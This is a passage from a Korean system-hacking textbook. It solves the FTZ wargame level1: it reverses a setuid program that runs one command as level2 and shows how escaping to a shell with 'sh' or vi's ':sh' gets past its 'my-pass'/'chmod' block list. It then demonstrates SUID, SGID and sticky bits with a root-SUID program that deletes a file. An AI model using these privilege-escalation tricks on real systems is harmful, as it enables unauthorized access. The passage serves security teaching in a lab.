50 문제 풀이로 배우는 시스템 해킹 테크닉

이 부분은 그림 1.10과 같이 볼 수 있으며, 아래와 같이 입력한 명령어의 결과를 보여주기 위

해 두 줄을 띄우는 부분에 해당한다.

[level1@ftz level1]$ /bin/ExcuteMe

레벨2의권한으로당신이원하는명령어를

한가지실행시켜드리겠습니다.

(단,my-pass와chmod는제외)

어떤명령을실행시키겠습니까?

[level2@ftz level2]$ ls

hintpublic_htmltmp

[level1@ftz level1]$

참고로 일반적인 셸에서는 아래와 같이 실행 결과가 별도의 줄바꿈 없이 바로 출력된다. 하

지만 /bin/ExcuteMe 파일은 디스어셈블한 결과에서와 같이 두 줄을 띄우도록 코드가 작성

돼 있으므로 명령어의 결과가 출력되기 전에 두 줄이 띄워지는 것을 볼 수 있다.

[level1@ftz level1]$ ls

hintpublic_htmltmp

[level1@ftz level1]$

다음 부분은 그림 1.11과 같이 나타낼 수 있으며, setreuid(3002, 3002) 함수를 실행한다. 여

기서 0xbba는 10진수로 3002이므로 level2의 그룹 ID를 의미하고, 그림 1.11에서 보는 바와

같이 묶어서 함께 표기할 수 있다.

0x08048665 <main+261>: add $0x10,%esp

0x08048668 <main+264>: sub $0x8,%esp

0x0804866b <main+267>: push $0xbba

0x08048670 <main+272>: push $0xbba

0x08048675 <main+277>: call 0x8048440 <setreuid>

01 _ 백도어란 무엇인가? 51

마찬가지로 그림 1.11에서 복원한 내용을 확인할 수 있다.

그림 1.11 인자값의 메모리 구성

다음 부분은 그림 1.12와 같이 이해할 수 있으며, 입력받은 명령을 실행하는 부분이다.즉, 앞

에서 입력한 명령어가 my-pass가 아니고 chmod도 아니면 level2의 그룹 ID 권한으로 명

령을 실행하는 부분이다.

0x0804867a <main+282>: add $0x10,%esp

0x0804867d <main+285>: sub $0xc,%esp

0x08048680 <main+288>: lea 0xffffffd8(%ebp),%eax

0x08048683 <main+291>: push %eax

0x08048684 <main+292>: call 0x80483d0 <system>

0x08048689 <main+297>: add $0x10,%esp

0x0804868c <main+300>: leave

0x0804868d <main+301>: ret

이 부분을 그림으로 나타내면 그림 1.12와 같다.

그림 1.12 입력 문자열의 메모리 구성

0xbba (3002)

0xbba (3002)

스택

주소

$EBP-0xffffffd8

입력받은 값

스택

$EBP + 0x28

52 문제 풀이로 배우는 시스템 해킹 테크닉

그럼 지금까지 리버싱한 내용을 토대로 소스코드에 해당하는 의사 코드를 완성하면 다음과

같다.

예제 1.1

#include <stdio.h>

#include <string.h>

#include <unistd.h>

#include <stdlib.h>

int main( )

{

char input[29];

char denyMyPass[] = "my-pass";

char denyChmod[] = "chmod";

system("clear"); //화면의모든내용을지운다

chdir("/home/level2"); ///home/level2로이동

printf("\n\n\n\t\t레벨2의권한으로당신이원하는명령어를\n");

printf("\t\t한가지실행시켜드리겠습니다.\n");

printf("\t\t(단,my-pass와chmod는제외)\n");

printf("\n\t\t어떤명령을실행시키겠습니까?\n"); //화면에문자열출력

printf("\n\n\t\t[level2@ftz level2]$ "); // 주의할 지점

fgets(input,sizeof(input),stdin); //키보드로입력받음

if(strstr(input,denyMyPass)!=NULL) //my-pass를입력했는지확인

{

printf("\n\t\tmy-pass명령은사용할수없습니다.\n\n");

exit(0);

}

if(strstr(input,denyChmod)!=NULL) //chmod를입력했는지확인

{

printf("\n\t\tchmod명령은사용할수없습니다.\n\n");

exit(0);

}

printf("\n\n");

setreuid(3002, 3002); // level2의 Group ID 부여

system(input); //입력받은문자열을서버에서실행

}

01 _ 백도어란 무엇인가? 53

물론 예제 1.1은 denyMyPass 배열과 denyChmod 배열에서 배열 크기를 입력하지 않은 것

처럼 완벽하게 복원된 소스코드는 아니다. 하지만 이러한 사소한 차이를 제외하면 완성도 면

에서는 거의 원본 소스코드와 비슷한 형태일 것이다.

예제 1.1에서 주의할 지점에 있는 코드를 보면 마치 level2 권한의 셸이 떠 있는 것처럼 화면

을 출력한다는 사실을 알 수 있다. 즉, /bin/Execute 파일을 실행했을 때 화면에 표시되는

모양이 배시셸 프롬프트와 비슷하지만 예제 1.1과 같이 실제로 배시셸은 아니라는 점에 주의

하자.

우리는 다음 레벨의 패스워드만 확인하면 되기 때문에 my-pass를 입력하면 되겠지만 여기

서는 금지 명령어이므로 다른 명령어를 입력해야만 한다. 그렇다면 어떤 명령어를 실행해야

할까? 이 질문의 답은 나중에 알려주기로 하고, 먼저 이 문제가 출제된 의도를 살펴보기로

하자.

03 의도 분석

이번 문제에서는 공격자가 리눅스 운영체제의 권한 체계를 이해하고 있는가를 묻고 있다. 하

지만 이 부분은 리눅스에서 기초적인 사항에 해당하므로 자세한 설명은 생략하고 핵심적인

개념만 설명하겠다.

유닉스 계열의 운영체제는 다른 계정에게 읽기(R), 쓰기(W)와 실행(X) 권한을 줄 수 있다.

즉, 내가 만든 파일을 다른 계정의 사용자가 읽거나 수정하거나 실행할 수 있게 되는 것이다.

이렇게 권한을 줄 때 SUID와 SGID라고 하는 기능을 이용하면 다른 계정(level2)에서 만든

파일을 내 계정(level1)에서 읽거나 쓰거나 실행할 때 파일을 실행하는 동안만큼은 다른 계정

(level2)의 권한을 잠시 얻을 수 있다.

따라서 이 문제의 의도는 이러한 개념을 아는지 묻는 데 있으며, 특히 my-pass 명령어의 사

용을 차단함으로써 다른 계정의 권한을 얻은 일시적인 순간에 이 권한을 유지하는 방법을 고

민하게 만들어 준다.

일시적으로 다른 계정의 권한을 얻은 상황에서 이 권한을 유지할 수 있는 대표적인 방법 가

운데 가장 간단하고 정확한 방법은 역시 배시셸을 실행하는 것이다. 그러면 프롬프트가 생

54 문제 풀이로 배우는 시스템 해킹 테크닉

기면서 일시적으로 얻었던 level2의 권한이 유지된다. 좀 더 풀어서 설명하자면 일시적으로

chmod와 my-pass를 제외한 명령어를 한 번만 실행할 수 있는 권한을 얻은 상태이므로 이

순간은 level2다. 이 순간에 셸을 적절히 실행한다면 level2 소유의 정상적인 셸에 머무르게

되고, 완전한 level2 권한을 얻게 된다.

다음의 실행 결과를 보면 id 명령어를 입력하는 상태에서는 아직 level1이지만 예제 1.1의 마

지막에 있는 setreuid(3002, 3002)와 system(input)이 실행되는 순간 level2의 권한으로 입

력한 명령이 실행된다. 즉, 다음에 있는 실행 화면의 첫 줄에 있는 “[level2@ftz level2]$”이

라는 문자열은 여러분이 level2의 셸을 얻은 것처럼 착각하게 만드는 설정이라는 사실을 다

시 한번 염두에 두기 바란다.

[level2@ftz level2]$ ls

uid=3002(level2) gid=3001(level1) groups=3001(level1)

[level1@ftz level1]$

04 공격

그럼 지금까지 분석한 내용을 토대로 실제 공격으로 들어가 보자. 이어서 진행할 공격 과정

을 간략히 정리하면 다음과 같다.

1�로그인한후계정의파일구조를확인

2�문제와관련된힌트를확인

3�취약점이있는파일을검색

4�공격대상파일을실행해파일의동작방식을직접확인

5�“sh”나“bash”같이셸을실행하는명령어를통해level2권한의셸을획득

6�level2의패스워드확인

7�5번과같이셸명령어가아닌vi편집기를이용한우회법추가확인

그럼 이제 해커스쿨 계정으로 로그인해서 위에서 나열한 각 공격 단계를 차례로 밟아보자.

login: level1

Password:

Last login: Wed Jun 1 19:17:31 from c-24-91-31-16.hsd1.ma.comcast.net

01 _ 백도어란 무엇인가? 55

[level1@ftz level1]$ ls -l

합계88

drwxr-xr-x 4root level1 40961월162009.

drwxr-xr-x 44root root 40961월152009..

-rw-r--r-- 1root root 474월42000hint

drwxr-xr-x 2root level1 409612월72003public_html

drwxrwxr-x 2root level1 40966월112:37tmp

[level1@ftz level1]$ cat hint

level2권한에setuid가걸린파일을찾는다.

[level1@ftz level1]$ find / -perm +6000 -user level2 2> /dev/null

/bin/ExcuteMe

[level1@ftz level1]$ ls -al /bin/ExcuteMe

-rwsr-sr-x 1level2 level1 236253월292003/bin/ExcuteMe

위와 같이 힌트를 참고해서 level2로 SUID와 SGID가 걸린 파일을 find 명령어로 찾는다.

위에서 나온 find 명령어로 level2 계정 소유이고, level1 계정 그룹 권한으로 SGID가 걸려

있는 파일을 찾았다. 이제 찾은 파일을 실행해 보자.

[level1@ftz level1]$ /bin/ExcuteMe

레벨2의권한으로당신이원하는명령어를

한가지실행시켜드리겠습니다.

(단,my-pass와chmod는제외)

어떤명령을실행시키겠습니까?

[level2@ftz level2]$ id

uid=3002(level2) gid=3001(level1) groups=3001(level1)

[level1@ftz level1]$

단 한 번의 실행에 대해서는 level2 권한으로 명령이 실행된다는 것을 확인한다. 그러므로 단

하나의 명령어로 level2 권한을 유지할 수 있는 명령어가 무엇일지 고민해 보자.

56 문제 풀이로 배우는 시스템 해킹 테크닉

[level1@ftz level1]$ /bin/ExcuteMe

레벨2의권한으로당신이원하는명령어를

한가지실행시켜드리겠습니다.

(단,my-pass와chmod는제외)

어떤명령을실행시키겠습니까?

[level2@ftz level2]$ sh

sh-2.05b$ id

uid=3002(level2) gid=3001(level1) groups=3001(level1)

sh-2.05b$ my-pass

Level2Passwordis"hackerorcracker".

sh-2.05b$

보다시피 sh, bash, /bin/sh, /bin/bash와 같은 셸 실행 명령어만 입력하면 level2 계정의

권한을 지속적으로 유지할 수 있게 되고, 이번 레벨의 최종 목표를 달성할 수 있다.

하지만 level2의 문제이기도 한 vi 편집기에서 셸을 실행하는 부가 기능을 정확하게 이해하

고 있다면 다음과 같이 약간 다른 방법으로도 새로운 셸을 실행해 level2의 권한을 얻을 수

있다. 즉, 다음과 같이 하나의 명령어를 입력할 수 있는 입력창에서 vi 편집기를 실행한다.

단, level2 파일명은 여러분이 입력하고 싶은 임의의 파일명으로 변경해도 무방하다.

[level1@ftz level1]$ /bin/ExcuteMe

레벨2의권한으로당신이원하는명령어를

한가지실행시켜드리겠습니다.

(단,my-pass와chmod는제외)

어떤명령을실행시키겠습니까?

[level2@ftz level2]$ vi level2

01 _ 백도어란 무엇인가? 57

그러면 vi 편집기로 level2라는 이름의 파일이 열리는데, 여기서 :sh를 입력한다.

~

~

~

~

:sh

그러면 다음과 같이 /bin/ExcuteMe를 실행한 상태에서 바로 sh 명령어를 이용해 셸을 실행

한 방식과 마찬가지로 level2 권한으로 셸이 실행된 것을 볼 수 있다.

[level2@ftz level2]$ id

uid=3002(level2) gid=3001(level1) groups=3001(level1)

[level2@ftz level2]$ my-pass

Level2Passwordis"hackerorcracker".

[level2@ftz level2]$

이처럼 취약점을 분석하고, 공격법을 찾는 방법은 공격자의 경험과 지식 수준에 따라 다양한

방법이 있을 수 있다. 이제 level2 계정의 패스워드를 확인했으니 레벨 1 문제는 이로써 해결

했다. 그럼 레벨 2에서는 어떤 문제가 기다리고 있을지 level2 계정으로 다시 로그인해 보자.

05 SetUID, SetGID와 스티키 비트

SetUID와 SetGID는 유닉스 시스템에서 파일에 다른 계정과 그룹의 권한을 일시적으로 빌

려주는 개념이다. 그러므로 일반적인 읽기(R), 쓰기(W)와 실행(X) 권한과는 다른 독특한 개

념이라 할 수 있다. 일반적인 rwx 권한은 해당 파일에 권한이 있는대로만 자신의 계정으로

읽거나 쓰거나 실행할 수 있는 형태로 접근할 수 있지만 SUID가 설정된 파일은 해당 파일을

실행하는 동안은 일시적으로 파일 소유자의 계정으로 잠시 바뀌게 된다.

이제 다음 예제를 통해 SUID 설정을 이용해 순간적으로 다른 권한을 얻는다는 개념과 디렉

터리에 적용되는 스티키 비트에 어떤 차이가 있는지 알아보자.

58 문제 풀이로 배우는 시스템 해킹 테크닉

chmod 명령어는 해커스쿨에서 사용할 수 없는 명령어이기 때문에 실제 연습은 이 명령어를

사용할 수 있는 각자의 리눅스 시스템에서 해야 한다.

예제 1.2_SUID와 SGID 예제 / 파일명_stickybit.c

#include <stdio.h>

int main( )

{

system("/usr/bin/id");

system("/bin/rm-rf./stickytest");

}

예제 1.2를 보면 stickytest라는 파일을 삭제하는 것을 볼 수 있다. 아래와 같이 stickytest라

는 파일은 root만 사용할 수 있도록 권한이 설정돼 있다.

root@rokhacker:/tmp/stickytest#ls -l stickytest

-rwx------1rootroot7166Oct3107:21stickytest

root@rokhacker:/tmp/stickytest#

따라서 지금까지 설명한 바와 같이 root 계정이 아닌 superdk라는 다른 계정에서 stickytest

파일을 삭제하고 실행하려고 하자 실행이 거부되는 것을 볼 수 있다.

superdk@rokhacker:/tmp/stickytest$rm -rf stickytest

rm:cannotremove'stickytest':Operationnotpermitted

superdk@rokhacker:/tmp/stickytest$

superdk@rokhacker:/tmp/stickytest$./stickytest

bash:./stickytest:Permissiondenied

superdk@rokhacker:/tmp/stickytest$

하지만 다음과 같이 예제 1.2를 이용해서 만든 실행 파일에 root 권한의 SUID와 SGID를 함

께 부여해 보자.

root@rokhacker:/tmp/stickytest#gcc -o stickybit stickybit.c

root@rokhacker:/tmp/stickytest#chmod 6755 stickybit

root@rokhacker:/tmp/stickytest#ls -l stickybit

01 _ 백도어란 무엇인가? 59

-rwsr-sr-x1rootroot7165Oct3107:14stickybit

root@rokhacker:/tmp/stickytest#

이제 다른 계정에서 일시적으로 root 권한을 얻어서 root 소유의 파일인 stickytest를 삭제

할 수 있는지 확인해 보자.

superdk@rokhacker:/tmp/stickytest$./stickybit

uid=1003(superdk)gid=1003(superdk)euid=0(root)groups=0(root),1003(superdk)

superdk@rokhacker:/tmp/stickytest$ls -l stickytest

ls:cannotaccessstickytest:Nosuchfileordirectory

superdk@rokhacker:/tmp/stickytest$

보다시피 root 권한의 SUID가 설정된 파일인 stickybit를 실행하는 동안에는 일시적으로

root 권한을 얻었기 때문에 당연히 root 소유의 stickytest를 삭제할 수 있다. 아울러 실행

결과에 보이는 euid(Effective UID)는 UID와 동일한 권한이 부여됐다는 의미로, 앞에서

stickybit 실행 파일에 SUID를 부여한 것과 예제 1.2를 작성한 의도가 정확하게 실현된 것을

볼 수 있다.

이처럼 SUID라고 하는 것은 유닉스 시스템에서 상당히 흥미로운 기능이고, 이후의 모든 레

벨에서 이러한 기능을 이용해 다른 계정의 권한을 획득하게 될 것이다.

이제 디렉터리에 스티키 비트를 어떻게 설정하는지 알아 보자. 예를 들면, 모든 유닉스 시

스템에는 /tmp 디렉터리가 있다. 이 디렉터리는 시스템에 있는 모든 계정이 공동으로 사용

할 수 있다는 특징이 있다. 참고로 /tmp 디렉터리는 일상에서 공용 물품과 같다고 이해하면

된다. 공용 물품은 당연히 개인 물품에 비해 금방 파손된다. 이와 마찬가지로 유닉스 시스템

에 있는 공용 디렉터리(/tmp)도 함부로 사용될 가능성이 높다. 하지만 chmod 명령어와 함

께 1777이나 +t 옵션을 이용하면 디렉터리에 스티키 비트를 설정할 수 있고, 설정된 결과는

drwxrwxrwt와 같이 마지막에 rwx가 아닌 rwt로 t가 설정된 것을 확인할 수 있다.

root@rokhacker:/tmp#chmod 1777 stickytest/

root@rokhacker:/tmp#chmod +t stickytest/

root@rokhacker:/tmp#ls -l

total 20

drwx------2useruser4096Oct3105:49keyring-WHNJxu

60 문제 풀이로 배우는 시스템 해킹 테크닉

drwx------2useruser4096Oct3105:49pulse-bYRwmmRZMMjw

drwx------2rootroot4096Oct3105:49pulse-PKdhtXMmr18n

drwx------2useruser4096Oct3105:49ssh-cECnaqPQ1205

drwxrwxrwt2rootroot4096Oct3107:26stickytest

-rw-rw-r--1useruser0Oct3105:49unity_support_test.1

root@rokhacker:/tmp#

이처럼 스티키 비트가 설정된 디렉터리 안에서는 다른 계정에서 디렉터리에 지정한 읽고(R)

쓰고(W) 실행(X)할 수 있는 권한이 있어서 마치 자신의 디렉터리처럼 사용할 수 있는 공용

디렉터리로 활용할 수 있다. 하지만 스티키 비트가 설정된 디렉터리의 소유자 계정이 아닌

다른 계정은 다음과 같이 해당 디렉터리를 수정하거나 삭제할 수 없다.

superdk@rokhacker:/tmp$rm –rf stickytest/

rm:cannotremove'stickytest/':Operationnotpermitted

superdk@rokhacker:/tmp$mv stickytest/ sticky

mv:cannotmove'stickytest/'to'sticky':Operationnotpermitted

superdk@rokhacker:/tmp$

이상으로 유닉스 시스템에서 제공하는 SUID, SGID와 스티키 비트의 개념을 설명했다. 스

티키 비트를 처음 접한 독자라면 이해하기가 어려울 수 있겠지만 시스템 해킹을 하는 데 필

요한 필수적인 지식이므로 정확하게 이해하길 바란다.

마지막으로, chmod 명령어를 이용해 권한 부여에 설정하는 숫자에 관해 간단하게 설명하겠

다. 유닉스의 권한 설정에 부여되는 숫자는 2의 승수 개념을 토대로 한다. 그렇기 때문에 나

머지(other)에는 “1”, 그룹에는 “2”, 자신에게는 “4” 같은 숫자로 권한이 부여되는데, 이는 스

티키 비트도 마찬가지다.

SUID와 SGID 및 스티키 비트 설정은 표 1.1과 같이 숫자로 정의할 수 있다. 일반적인 권한

설정인 777과 기본 설정 개념은 동일하지만 동작 방식에는 분명한 차이점이 있으니 기억하

길 바란다.

명령어 SUID SGID 스티키 비트

chmod 4000 2000 1000

표 1.1 SUID, SGID, 스티키 비트의 숫자 설정값 예제

01 _ 백도어란 무엇인가? 61

그럼, 이 숫자로 권한을 부여해 보고 개념을 이해하자. chmod 명령어를 이용해 입력하는 숫

자는 위에서 언급한 1, 2, 4를 조합해서 만들 수 있으므로 1~7까지 만들 수 있다.

다음은 나머지 및 그룹과 자신의 계정에만 권한을 부여한 예제다.

superdk@rokhacker/tmp]$chmod 1755 stickybit.txt

superdk@rokhacker/tmp]$ ls -l

합계4

-rwxr-xr-t 1root root 510월2008:36stickybit.txt

superdk@rokhacker/tmp]$

superdk@rokhacker/tmp]$chmod 2755 stickybit.txt

superdk@rokhacker/tmp]$ls -l

합계4

-rwxr-sr-x 1root root 510월2008:36stickybit.txt

superdk@rokhacker/tmp]$

superdk@rokhacker/tmp]$chmod 4755 stickybit.txt

superdk@rokhacker/tmp]$ls -l

합계4

-rwsr-xr-x 1root root 510월2008:36stickybit.txt

superdk@rokhacker/tmp]$

다음은 숫자를 조합해서 나머지 및 그룹과 자신의 계정에 권한을 조합해서 설정하는 예제다.

superdk@rokhacker/tmp]$chmod 3755 stickybit.txt

superdk@rokhacker/tmp]$ls -l

합계4

-rwxr-sr-t 1root root 510월2008:36stickybit.txt

superdk@rokhacker/tmp]$

superdk@rokhacker/tmp]$chmod 5755 stickybit.txt

superdk@rokhacker/tmp]$ls -l

합계4

-rwsr-xr-t 1root root 510월2008:36stickybit.txt

superdk@rokhacker/tmp]$

superdk@rokhacker/tmp]$chmod 6755 stickybit.txt

superdk@rokhacker/tmp]$ls -l

합계4

-rwsr-sr-x 1root root 510월2008:36stickybit.txt

superdk@rokhacker/tmp]$

superdk@rokhacker/tmp]$chmod7755stickybit.txt

62 문제 풀이로 배우는 시스템 해킹 테크닉

superdk@rokhacker/tmp]$ls -l

합계4

-rwsr-sr-t 1root root 510월2008:36stickybit.txt

superdk@rokhacker/tmp]$

이처럼 SUID, SGID 및 스티키 비트를 설정하는 것은 유닉스 계열 시스템의 기본에 해당하

는 내용이므로 잘 이해가 되지 않는 독자라면 위의 예제를 따라해 보면서 확실히 이해하길

바란다.

02해킹의 시작